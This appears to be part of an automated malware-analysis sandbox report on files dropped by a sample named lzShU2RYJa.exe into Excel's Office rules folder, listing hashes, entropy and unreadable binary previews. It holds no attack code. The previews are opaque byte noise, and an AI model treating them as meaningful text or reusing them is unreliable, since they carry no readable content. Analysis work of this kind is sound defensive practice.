..r.'.b/.i#.....8...W.h.9...I...LK....YV....{...K...V.....9...f.n.E....z..l.=.#..Rg..Z..'.1a.O..A.]..R..Zq.T.zKh..lGf%`...t..g.EO..\|..\..T:".<=..q...<\|uV...}..;..7..G.._e...8:d./=j!?.%..{...[..!..V.......Rf...gL.QW?......c$..U?o.]bE .-.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.763077064486343
Encrypted:	false
SSDEEP:	24:LrGu+FTytXIH1p5itHbmGC3FHOQ89oKYQvCILbjNbkJerPXOL7d0GQVbD:Lq1TytWpYbEAoRQvxLyJeLXuQFD
MD5:	5BA4F6FA04BDFE8EBAAB2270201819FA
SHA1:	05F9ECAFB378EB0C5B9F934884E75EDF1D87D72A
SHA-256:	1784A9F23A83DF27EA571132E60A0A6C9326B88856E74FCAF9BC88E775D48365
SHA-512:	4E5023CCC8D573A4CD871C6F77DD3B5A776E24DAB96C1C3A8010F4CBCB0071E0E21133B2384AB0AD95F3949AC5EE8EAB929A6F110991DB03B8FF58DA5CCD78F8
Malicious:	false
Preview:	<?xml...............UY...P(.a(e2~?.X..,6k6...5...Gd...`&oA7....kq..;%h.T.$....W."-.\|......)..oX.Y...rb}.4YG..{.J0%.Sp...\|.io'.E....B..eD...0.y..e.h.M...dC.........a.2.8........V.^..t&U..P.Z.G g... ...P`...=U..1,I...).J..y{=...7r.<.[.2E..... .........'..0.Guxr.<...1k...[..L.s.....\|...F\....E..H]..A..5..?k!.x`v...`...+h.t..[".X.#..2.V.y.zd..<T...~3.5.y..b.....0.l......`..N[.N-..Z..s7.7....-Q.(.q...n.W.r+.y.,.@h...a..\|>.<.?..X.$..G.~j..a..".0...../..5....Sc...<..,m...eH^.....X...^.9..t..z...fhl..O......^.G`-...h.,OY.T.q.c...$......_ .....,.<...~..H2..2..`xn..j....F.R.. ....Zp.=..Y..i........{.,..bd...S..s.q..k#A.}.e....>......IM^.c.....-c.Y..O.........d..T.<%.lD.......~z.d......~W..........;.?.4.-b6...6.......E..]1.U...8B.. $..Pim.+l.a.z.D.....x....?....../P.a..q.C......[..~..q.,../.......l.&...L@..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.8090981973014895
Encrypted:	false
SSDEEP:	24:9ozL0Rfa0V0nD/0jtUbQihiR+jeFimadpkH+bFBWgBVbD:LRS0yz0RU8iChFimadu2BW6FD
MD5:	6BC9735A280ABA14846916B3773A39D8
SHA1:	D9147FA8FF9C54875D8799DAA6EBC3AE48AE0642
SHA-256:	866142BFFC65298FCD33B3DC1E8FDC71A83A26B967DB563345A3CA922E19B961
SHA-512:	6E5E889C3BE70DFDC62761BD949C4C35D5BE3D4881CB9C9508CA33846B93D56B4950B6EC1DFAF72526297EF4247CBD7D3B281A2710B24CA3885C89168715B100
Malicious:	false
Preview:	<?xmlW...e.H.L.......4.>....E..q.o......C.@.\|."Y.v.L.G..x:......t.......Z.....s...<R4?...&c6n..T..o.,3...'.......f..2.../.....=...M..a.E.@.Jvn..n.f..z.........#U+=..@\|/.7.......^X0.".K_.I......&f........&.....pR..._.w....^.s...}.~...9m9...#@C.W..m>..@.\.,.....%....j..l.y...Luz8.:AG2..'xe)..S...<r..v....G.....y2^...rUn...@h......\.^..A.&......U..<.58.W..`/.W.......b..0...Y.d......<........r.D..0x..}...u.}(.b.L.z7G...-........n...nF^fd.;P.......0.q?K...{....L.{...{sW....Q....LM.....K..4^.77 $..4....MA../......s%.c...w\|..g..u%V..-......+S......j.B....@.R{6..8\.d..S...K.{u.'....hA.&3.uV)KG....6A...:.....=..8w7"\|PVM..UQ8...Q....i..;}.G...H6..8-.p.6J.`.#..}.H~.lG.3.i.T3v..$.V..0.!y.[j..I.B ...l.O..h!.>~@J[.8kC..4QJv...X.....9.S...`7.%........^V*...V.....zm...~.y.Bp..H..a.d"b6.........d].....2..}.7../....a.Bi.L...0#(G.......>'...R...MV...m..-b>..2.........1itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.907963298571477
Encrypted:	false
SSDEEP:	48:PBo3V3lYbvW3McMylhjUNgoKpWBk+Gj2ZdyLZJFkkqCCx48HFVD0AFD:PBo3IbOcc3EFa6DyfKvCOjXD0A9
MD5:	B549EF5B3CDD066305D680CBDB2F80A0
SHA1:	B5C73F1523FF5CB29DF91858A88CC4B0F79509D5
SHA-256:	134CD7D5A9E34A29C3D59BAC036F81F1D42C82905F87CE8AF25B9ED98DE6D362
SHA-512:	630465002C60C8105FAB954964E65ABBF1ABF55D9DCA51B59B5BDA76F92A0D31DFEAC61D887360AD19FBFAF238CA41F6048A0BADB923BD77C915AA0CE83A7F70
Malicious:	false
Preview:	<?xml.].C?J?-.[...Q#%.u...Inl.{..u_]....X?.}..C.%!5r~.t}o...g....=M......Q.,l.:.P.d.L.I.......-.x].".%..J..^...[.]...l..D).^h..CAi!M.q..3q....K...}{..QiQ4;n.ob.........\..$,...U...:.V.>.X.WA..?.../..]C{.........;.z..Vv.K~...{....=L.cN.3}W.x...M....}...M.}%....[.b?V.O.:.._..X.f..i.T....y..X..R..yt.....3.fZ......^.Wi...........c..Ul.2...8t..o.}..^!.K ...M.t.....e..S]A....`...J..j.M..?....).....SXq.....A.wm...DDR..Z.+..cP}.u.....QZ.Q.....9p.^.f-.~....W.....{h`.T...!.SV -.....c.....x....<...........`.C...s)^L-..Xy...J.J8.1...(.9......9~.xy...vI..<. ..d.).E.T....tfG./....."Q...b...../...y.].S....o.....A....h....S....W....V.T....].].5.........t .. ......~#.q=...[....)[9A1..-.Z..fV...L...a.*?.../m..a=\.'4._.\B....k7.....p....2...Rt...h..y..uJIU.A.z..pf6..x..F.....O..Cf@Rn{kE...-.....-,..{l..F.......<I...-.@.v,.2...`)..i...=..<..aX....._.&..X:.\|.=E.......=\|;....W...%..i@.....vB.........`k...;:.+.........m'..-M$...b%.j..'G.]...Xf.$.9).O...I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.878200250982844
Encrypted:	false
SSDEEP:	48:76QAeVzfU7BHCOmnDanvl7e5prpVp7Q+PDFD:77AeVzfU7xC/nDel+lp7Qk9
MD5:	169EAD7A5D95DFC7FEB1BB75915CB605
SHA1:	EFF6C44DD196C336B039649778CECBF9EC321206
SHA-256:	6D53656A6718438EA31EEE9B2CA4DE3CCF7E5583A09117B7FB170DF6A81759E8
SHA-512:	62760CCE75052260457FE0A7148AB2736C9212AD56059E961F09771F3E8AD738E7BD91229DFADC4B19B357D4BE869CE949376585A0E0072FE058137AF09534C7
Malicious:	false
Preview:	<?xml..]...-....K....c-U..._:...iL.R....P...@.....}..}....e.f.d.x.].....Fii~43k.~.M .... S...f.K....dF....^f...c.\|..}..uq.c3..C..Q.EI...y....N.X<.>U..."........G..[....ixLO_...E..S.....Y...T.i......)...U=.x.2..3......p...h....!....2......E.v....@.L2W.Go...m......p}FL..@.~.?/.....(y.Qa(..2...Z7?....k/NCF....~..@.....[..R.K..#.oN....ZD.s..d.3F.N..k.F......[V.....,2w.o.iH..}'}...h.{.Z.6...}Sq.R.....e2J..g5U.{.2,........a....p..K^.{W..yT....I..}.LuW.4....;!..1..j.C...a.C.. [\K..t.F...T.....G4........)..R.Q.Um.A.%W....R.V....{.Mk...R.p...&}H....6..A...zH.0.\|.<t..gW......A..-.Ou.m.E.ZO.e..C.H.X..z...eD.m.f6...#....W@...A5m.03.x..v.2..d....b.a.~5....v...N_....A.g\.......!Pjb.4A..2..\.B1.....Do.).$.qd..Y...1...PjL.j......Y8,Z...ts..[.3.0_....bb.$.k.....>%N4......3...!...T...dW..bs..}....Y._..5,....O@..IB.;....4.D...H...5.AL.^H...&[......L.2.~.?T.m._.../&ok.\...-U`......3.%...u*......V.R...b..p.6gq.H?..%.y.XF'..U=.-dE.i..H..x..<..{.\..'I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.762000762783734
Encrypted:	false
SSDEEP:	12:77LSK46PPxmFFfcypJmesZ4YDSdGAZSaLtJZv1G/FAMmTvRlry8nEnZs1YjVciik:zW+PxqZJmPM7579RMmTvRAOE2QVbD
MD5:	70CEAF99299AEF016F3B226DAAB828FA
SHA1:	9ED149BD6F8E6CE1B9A476E8187BE917DAB6701E
SHA-256:	3AE15598F3B083555DA9CCD59EAD636E192205336D42C35CBC060FD54149F28C
SHA-512:	C07DED2B7A057F0211EF1A64015CD61D9305A75FC62A2B84B701ED9C3D154785B8583667C67ECCEE05C93E85AC9A8A2F7125F42BADA94274514D2D55E537AB97
Malicious:	false
Preview:	<?xml..S..Qz.Q3H..y.p%).0....3..tQ...E....Y..K...q.KGZ...l.....F.r...u;2.>..oW...j..SG.\|.....Y..i.r..e..-....3(....[.D..:.{.s..D..<.......R,.o..2.......&.....].j.@....+U.:'..-.y}<.p.1.5.....nA.gd$.)..(x'O.v.uk(.b......Oy....,[>..7-..I3..?.e.?0.........J.El......V..{6.`2.oQ.N...B.L+..UWRd.e.Vl.........dnU:..-..0.tM.B.....M.......P^>..q.aWl.{Pd..d%^......%....\......i'A..2....&...@..\&EI..!x_..S_"u.m..Z..4/.v)....1...^.{..f...tU.sp..C......\|S..V...S...DD..>.....C...Fl..v1#.#2..})l..np..NW.Iwp.bv.......HI...^..Q.(.<P..Xx....b.w.).W2.NB....H....;<.V.FN.]..}.c{b..5OsM.E.E..@......".imn1xmw......o.#fe..?.-z_.q...i-&...W..W...b..Rh..&..L...y.WR...~.Z.z4=!.r<.[..#\|..P.#(.,.s.P..58..v..B.f...$.zwE'..J.@:J.d.....?..-......%<!.M..%.\^...f....1)..q..nj.....!.<../....+32(.......u.w.....xY..J.EM...2.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.751289056279164
Encrypted:	false
SSDEEP:	24:0NQTlpSK75/KRU2pK0ps40AXkaYKNhgkVaWVbD:TTS0Apd0AUFKNhgkVaWFD
MD5:	09CB4403AA1FE983D6B86D23BFE2DB0E
SHA1:	45F9B781A28270AE4D56667DAB702CB099F50A08
SHA-256:	80C129CF26766AAB43FBCF25C67ED09E0AFD7080BCED02AABDA9F235E1E55AF0
SHA-512:	E60D53E60CC9535FF565E1BA3FE3BB0725182E72A1433A21503033A0647F92D714EAA99F1CA75EB07A6F834D4C75A23ED9F6FE8F077D534448E002CA68C7E04F
Malicious:	false
Preview:	<?xml2.<;.mk=..5".o...,.^.0....O.A#.. ..-...$.(....G....V..p.7..Xb\|...&M..F....Fgu....K.w..v....p.!P!...xM^....D......~t.b3...j(..]JR.....U\|.,...R..48.}.........C.....@G..<..3.3s.....f.s....R@.0...v<.rs..u.'...:......N..2&.K..l....V....;6...L\OG$.O}.D^.o/..M......A.qW...Qs........:.2.F.'j...\|...3.j..].0.1N..1.<r.....C.-D.z#_.7u..o&.h.,...c\|aqq><...\X.&#q!.ME.-rj.W..M..>er.(Xh..].$..nk.)wB......t..~..\|.:.2.GU.c..zi<7#.P9...k..p.....s..K.Q.....T.x....`.J.6`l....\Y.y.Y).Y...D.l..g].V..?#H.4...f...D*C_.........0...d.`H].........W..)..x#.9X.^Q2../...o.V.!.G".+..%.bf..Kl.'L..=?,b....z,y...hi`@.. ,q.....'.S.6....v..0...oR..;.;G.n..c..7..--..n..l....`...(...e0..x\|...O..90..1...b..?t..x.IAp.]..V..ud...a..Z".>.]B%Sc.V..&.?[g..%W.3..S..R...c!S.-+%s.&.........(....A.....&.!..?itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.764092200387779
Encrypted:	false
SSDEEP:	24:HakhmQhnLfasTufZEUriIb8m2DnAhFtKRXyfhVbD:zhosTwEBg81nAwyJFD
MD5:	97C21012D1BAF4596A0C148805FD67CF
SHA1:	A4F938F8538CA7B0879D7AA3C9DEFF003F1FF14C
SHA-256:	4686611032CE1352FF2AC836480F10E2E46AE4E6394DBB9A6D4B9B58E8F18259
SHA-512:	1D6E8F44DE5DB857077D1E4FA88E4C5E265DC4A19BDF46860E0260484DB97DA4838A775C9115C84E51EBE2C99F747FC2DBCD31850CB629D71720EEB1C3711287
Malicious:	false
Preview:	<?xml.\<6o...Ec...z.m..i&w...:../..Q..e.+!{..Vy[-.i..<..6...a.P&..;?[).9...S...H...BE._B.k fv..........c.5...\-.....v#vv...._.f....F8.U. ~....D.2+..].nX.o. .Su.9!...?:&..@.RT......:.A.7.Q..)......`.o.p....o...%.m.i..".v.....)./....Fu<;.W1.........%....#.5<..4q.w9(N.&..[Z....!.Ec.Z..j<..{..j..`..H.....U.lS.l.%0,.x.....y4..2./.m..O..t.D.@1..e..C....JQ..r..>On$N0!......S@+...1..-2@.h...1.}DRr..+.......8........`.d\|.I.N... ..f..3t..f..`...e.y.LF.[..}.qm.,k...&..}."..2V.3..}SyxP......s...L..}...ID.#.h"..)......"M.'..!..\|_....f..-:...s.F_.8=.m.U3fw.)....s...'z.,D$.......s.].(..O.&..;.inV9Z....]o.n......l.n...'.F;.w....d.s.u...^.0.Dm..K,.c.2.D..<.........8W...p5..`...&.>.~..=..?.C........4..d....1.`I.U0....s..M.:%..P...+#.Q...+...t/..L1Ec.....oO.......~.6...z.5.@...*.T._Q......E.J..rB.{Q...;...=[.(..?h.......3.`..G...',....@....Lef.c._..r)1.%....r..SZ7-{itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.652461618778048
Encrypted:	false
SSDEEP:	12:RJJlgitkuRT/JrmJvUFICkM7Nekc71RUjv0b/1MC+CGRzLYPfU+nxPR/hOjVciik:RJjFx7JmCF3kghcIjsb3uR3E8/VbD
MD5:	46DF2C65943123344B43A05DC6A7CC35
SHA1:	7BC199254083612C0AC351CE7AA258A660F9B781
SHA-256:	8719B8498FE3C5FF5B78CB30B6E71535CF0C648BFB928A0EB41668C65DA2613D
SHA-512:	40DA6ADB8ADE6FB38A4721ABFBE8C60566B610DC4B855489FDEF00891E2E840186FFD9C9703394F49FA5508E647C9705423DF5F5AB79590592085638DA015EFC
Malicious:	false
Preview:	<?xml.4$..9..H...x..w..;...g`....Zh+.N.cl....Oj.lC.m~...Q...Z.../^).Mb.:.....f....a.k...k.c.1...i.b.e.t..m..I...'....[.=.....`.X.D..6.v....6..'0.Pt...lz.n.D.u.w<..x......d..."...N.)._a..CJ._.[l..'.~d.U&i..O.t.R...<.{..._Q.!....{Cx....... ./.b_}.i_/....V;.cM.....@jA......j.:..=_.:.t.z.1S...r:6BN....lg[.C.k._.....v.#(.$iD........<...r~\|.'..c..'Gi........\.H.E'.2..V......y.T..<'.$..s..Px.;..^..4....Ov.D....7V.@E.....6..,..<..gfg..r`...d....y.6.........v".).S....O....qW..@....p..i..<..oU.D.<_............=#..2...[..-...X....9.....<.j..S..`......e.Tw....J..%...(..Q6'.....z{....".Z.%I.)...j55..8Z...+;tU._Q.J.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.814700054562258
Encrypted:	false
SSDEEP:	24:nzkMh5nJXKcyUT+kpwIz9WDwjn7npsIzVMVbD:w4XFT+wzQsz7ppz6FD
MD5:	CD5EB7E2195E98D682E2A1BA373E5EB8
SHA1:	6B2472D2F8290B77C62DDB41792F08ECC7BB278C
SHA-256:	1B378EDAE939294133446EAAF5C68935FB3611944BD90DBB3061A143B69BF13B
SHA-512:	977169165A1DAD35FB84DE4C196FAB2E262776F09F6729DDA98E19509ABFAF47ECFC342A0F37F34DB5AA9620338372E2A0A0FDAC46FC3B1988139045BDCC0F6C
Malicious:	false
Preview:	<?xml.zRJu%~8...}....N...IK.~.5.1IZ,...}.,x.R........P;P...4.e._.n.s2H.rg.0.f ..i..A^\.J...8Y..V-..A.....O..\|..".....\|B... ..w..............s%e.}..A..;x........+..z.{..~......a..0......\.....L!.R..jz.>.......6}..Z...wn......-...0D.7.P.....b%....L.(`q8..F..WnU........+.9.1...x=.2.0.{G.i,.".....Vp.^.#.....fZk.2KlP ..Z..S.=.7.G..t.v..^.}...b!/;g.5\|O)h.....h....j..,.#..-#F....!..b..S....#F...'n.{....W.,....^_....gf.)v;......)..>.f.,V...E..Xd..^v.........v.'...2LJ.hKy.v....G/!B.A..T..&)....^.....6..n...c...P1...(o.....;..._...G[.V.Q...7.p.B.......A>K6@.G.d..9.$!>.=..h.`\..M1$....Y..Y.]..1..C...T....C....Ce.k8.....3.o.f..1T.........+.l...."W...BW[.k.D..f.p..K..=~)I.7fM...Q.0EWH..{&.......<&..y?b.$.Fo..{..l.....G.............s.k.Q+&.H..UP.za..\|...H9...i.$..Y.q...W.....?.....C...Z.3%63_.\|..Q.n...x5....D2..\-...R.Q.MJ..K......k.sU...i..`wu./..w.1=..X'b.`.7%+...f.=D..$......%M.yV.p.m.g:.0.f.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.828498395342548
Encrypted:	false
SSDEEP:	24:3pp6Cj30X8y7ZR9fl9cd8cPbApRATFLotiya4t8RVbD:uCjEsy7ZR9flnpoLog88RFD
MD5:	E5CA987E8488D125414F03F1878EAC4B
SHA1:	FF86D8AD7D21D837234CB40EF71668FC94D1C8A5
SHA-256:	D0C70435D4F2E70CC38AB803A9DC57389EC52D04D262E2D7D0E5E640F38DEFAB
SHA-512:	22B63BFDF8E05844832795563A2736E3B2BCB9387C967CBE301621E7241EDC5C4349072B93171B41FE3FEBD814DE172B25E8C3BD0F588E75A512044EFC6DB437
Malicious:	false
Preview:	<?xmlv..`d..I.enb.......9....r.....T.TI..qW.YXT.._bM~l..k.m.-gB.`."K.kdZM..8.V'>.Hdj....W..^:....C!;C...../U=.4....{..!2..........c.].M.oK...'E2.g...C..mDL.&<n5.2y...989.R..i..&.4.t..Q...9.L..h ..)...AO.1.xs<....B......K..V...E..._.u.(.t+......<$o.s.....~....r....R.x6...0.S...H...M.=....-........,/...7.&..~..V..?......g...Pd.8..zd.....%I._.......^...G....4...H...\|.o.1m.9.....g.<..m,...W..@I.....,.d..}.Y.t.\|.W.Zr@LV..-N.\+Yu....r.%.js...E..H.]......r...4......%....p.t.T.@../.d^.........h[.v.t].`DX.....&..;......O_...[.<ar...t....H...a.(...=..{~.....`....!..=......T.g.r.73].y...<...K0..rF.8}.....T...Y.....{<p.^d..}......r:...a...{&.$.%..s......#...U3.C.f:;.K$......k.......8..D\|m..5i( d1.tJ.2..A..sw..u.?.4.w....^...%&..L....ys.w..@.&......Nl..S..iA.]c'/V).-@....&2(...x..e......_..$...C...Z.\|...r.!./.m.f.......T.?.45.X...S.P.{R.z..A.k,..f.b..O..5......u..9..?Q..F..!B._W.c.$._Z..v/...pDR..3o..?8p.....Cm.,..P..(f.!z...f9..yI.V...J.<...;../

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.859698415017057
Encrypted:	false
SSDEEP:	24:4TFVAQMZOJ9qn/E1agS5hVv15/xzyU2bACIfGqIXZFDBw5/1Rx3b2IAoIX2ajhIm:fk9SjgS5hdxzd2bqIpFuz1b2IAoImace
MD5:	2330767ACE3F9C7EE39DB2D1C5425F95
SHA1:	15DDD35FD8E9856066F1351A92EC1D10B4BAD1CC
SHA-256:	F676D0B9DEB216CDFD2C5AA20122C374EC0F1867D5BBF50ECD04B52F98140025
SHA-512:	037A910906922C147B123F401A51401657DDED72493929D8CC9CABAAF3B719C264F7B11C9813AEDCF06904F101C1F6A4B0DEE3F91BF879CC0721BAB4CD38ACD3
Malicious:	false
Preview:	<?xml.6...n.>x.F....CBv0..Sf....l..........r.@....0x.3...t!.?I.4D.J......f.mKh..M...K9r..Vu..3..X.3s..t...x..,m...gN..zT@A...]...^I.@&.I.....v...X..D\|......A.CRwE;....f.r.u...+y........G.U.W..yS.e..-.7g..Z.-I9........!.i.6......Lp..t+...........o......x9.7...l...=g..p.._j.ue....E?[.r..9.T.y&.s.%2...........%.^...2..Q.Fv..L7.Ih...........M..<.../.v....6...x".4...$6.Az.[}..h....\|.."..{.pu...w5{P.......V,?.....RE.l.6..%..)V..RW....R..<......t&...z...{c.Tqi<.....\.H...k).Z.I..(.../5...EkO.l.......#C....(.~.....]..I.6@...oO.c..9.0-..n..y..F..V.....@a ...z...b......=.....p....?...P..q:{......!f.....5d.Z~.F;~U.k..lkA.3lV;...'....gX.............!?. ...@nh...`X._..q...O..)(e..o..c..k!U..LJ-.{.y{x.\.9f,`...g.(..........-...Q..l.ep....lI...(...E ...w..Fa5.]..0g..SN.. _...Q.....t.1K..C[....~.(...M......K8P~.......'u2....Q...X.....D.g.O......T1.i.../.)...I.@b/.:.1.o..^.U.O.......K.....E...a.h..........IR2...~r.q"...,...N....+}.k......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.799844682002847
Encrypted:	false
SSDEEP:	24:5xiULVIhrTgxwFrGa+vSxWLrgjjbc1NmO1gv8bUCck7VbD:WxEwhJESxVDKlgv8dDFD
MD5:	D9C0B7C9ABAEE8A0248CF36F2E048917
SHA1:	CE34E4116423293C44CFD75AB89E3DF631869A2C
SHA-256:	1149437E5151D5844E5EBEAB053A38B0A88A1E779EAB89496C4950DEBA8BC249
SHA-512:	DA5D93447C0D4BEBEB8AFF8147D3028B5907287CBD1DA9EB61B16E86817A82E5858A513E0E894C8B8A2B95EAAB17DB01970F0DD63F285DF852637D12AD08EDE7
Malicious:	false
Preview:	<?xml.Sn..}:C.......{:.M...$..SX.5...9....s....W...7+/.#(.g.n..,..P.ca.:.......u..VZt:~.'..5..T.Qj.0...GK...,.x...W.P..N.f.T..S.....dM6....E....L.6T.. h).%....{...Z..t.....V....r$...j..;...F.#.....U..-x3.X.`...6.<.U.8'L....c....(S0.p...HiS...HFC........;..<}.D...%.0..`....N.8qM.%..3.....@2u.......j.j.2...UH&......TK3d..I...w.gn=g7...1.K..,.....4.....?gYI.<.8vE.q]...V#Q...3.7..6"...u.......8..o....i."vx.S8..5..GnO..]Y..Ux).......X@..4..^......).^..c..lK$....KD.[J..?}....3/Wnp.ka...r..6...i:.t...#D...n........,.U......B...r/.:...v...<.Q.";..x(@'..Y..s.m(=s.N7..u......s....<...@9...R.a.\|.....L..4.l....N.E.39........_J.c/..(T.X,?.(...A...L.G...z.Qi.PH.w...f..{oJo..B.eg...6....;.HC......i....;W.7...0T...c.<....=."..G.%go...;g.y`....z!......'....x.Xq.Y.Yp.....1K'.K.@&...S.=...=km..zH..S..}C._{...v..;^...Aj..)DW....Z.6..2..+..D....(..&R........h...}... R..O..+6,mz..6.-..=..2...s.S..^2H.E[itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170039v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.785281713289058
Encrypted:	false
SSDEEP:	24:CGnOnSsU/nF8sbcN9XWVR9LunB1Chqn7+7VbD:4Sfesmm79SnXv7wFD
MD5:	5AFDCCC0394D247179F6A97DC3169B6D
SHA1:	D05C922815782A30A8AB8EC615703C8C90424583
SHA-256:	57BEDF61FE0680A2C3594C4BBF4207D528D388806BFFE2BCD53435A8017877FA
SHA-512:	C84694996818F3F0C807A6120AC5A4942D2549C4844CD8AECCE1E911E5E67F4E11EE187BD6466ABB58F57320EC6837C37761223741795234AA5B6CF249D94919
Malicious:	false
Preview:	<?xml.......LT..GR.kl..i9.J.`...p.0......h1.)..T^.b$s..t...._....".S.4!....k..1p.v+..H.kl.".Dpa.2i.....8L.t.3...P$.s.xu..j.....b...o.....z.>.a.SE.^U....kx.g.i..s.DX.Ar=.Su..Q..G..T.@.uqY.j.e....?..g$...$.....E....0`P.F(.@....Ed#\|.Z..rQd.9.(...0...Q.....\|......u.f..[.NR..G.F#.e.G.../......%.)....... ......Y".8.Uri.U..g.X.S.. .I._...".....^..b.P.q ......h.0.S..7.7.T...H.Nu..5W.?....7:aK.Vt...}..e..,...b4.'..:..j.J...m.X{z.8?."\|.8.r:$..CA#.Bhd.d.....\.........{0..P%.c..c........XEm...!Z.T....s.a.a..^.J.#...L....U.tB..g.i..+..5..R..\.....B..D[...y....7.F.B.%-v...s..g.K.......j`....Lm.,R.5.....1.&..w....G.6f..gk......-GJX..(...z.1..1..s\|x....h@........g.:2.>..%.k.N.YV5~........[].....i:D...~.\|A.\|.....Sa...\|.T..............j....f+...Ox.c8............K.o. .......`V.X.:s.E.1t....#..(....rg..=...fd.&t....v.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170040v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.677918416747505
Encrypted:	false
SSDEEP:	12:Px6F6HIoboimheywE/2OUbR1Iv9jKnfi8TBa4TXjXvpPECYRcjzujVcii9a:PU8oiWJFUbRQQKWRTXjpPECKSoVbD
MD5:	57F47311D71764907BD54459F29EDE91
SHA1:	8BD9A91B5542FE5E460376403E9DD8B0EE85EF6A
SHA-256:	8F3BE67DD8512032DDAF26A037DA7666D8809DC2022D171585D521E81D55E988
SHA-512:	F0458A42F279579971E1DF4D582E5C832B5727BCC11E8F9A56424BB1A8B73B7D0DCC0A3E097785D3CE80FAEB10854010CDF726F25D566CE8F7B2B15A062B75E7
Malicious:	false
Preview:	<?xml'.p...8P..#[\|..u..o..';....R..JDn..Y.H.x)A..........ZN85..&.._.."'......,..E..2!......@........dO.XkT...`W...8bE.8....0fB....Yf...E...-]Q.L...V..R.\...I....g.~...& T.^....[.al&Q5.....Q...lA....K....xG+.E...;u2....(r.D.....3/P.d...FY.@.E`../.2wv.....3..i.S....>Q..l..1..v.;....M....0..y..{\o..~ZL.t..(<...>...-+.S88.2..MY.P....-W.B...].....%.~y..\|..-.=q..Q.@....L~.4cKm~Nm?..R...E .V..U.......}.....E.. [..X[...}...j.G.f.../.6........J..E.P.\|.a.n./_..Eu..24..i..7BA..-X...{,..!.GT..:2..]..6r.....IJ.....Z...D.7..rh....hC.2.O..o..k..Tz.6cS...Rg.p.6A.......NjF.(.P\|...LD.m..}.Y.maC....q......\.v..KFitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320002v5.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1892
Entropy (8bit):	7.878739081939013
Encrypted:	false
SSDEEP:	48:es9RYe4zPXt4gKcD0pOnYrH/co3QkgmdhEFD:LXgFEOnY7p3j9dK9
MD5:	CC835A00EDF7A27D7A74360243640E2F
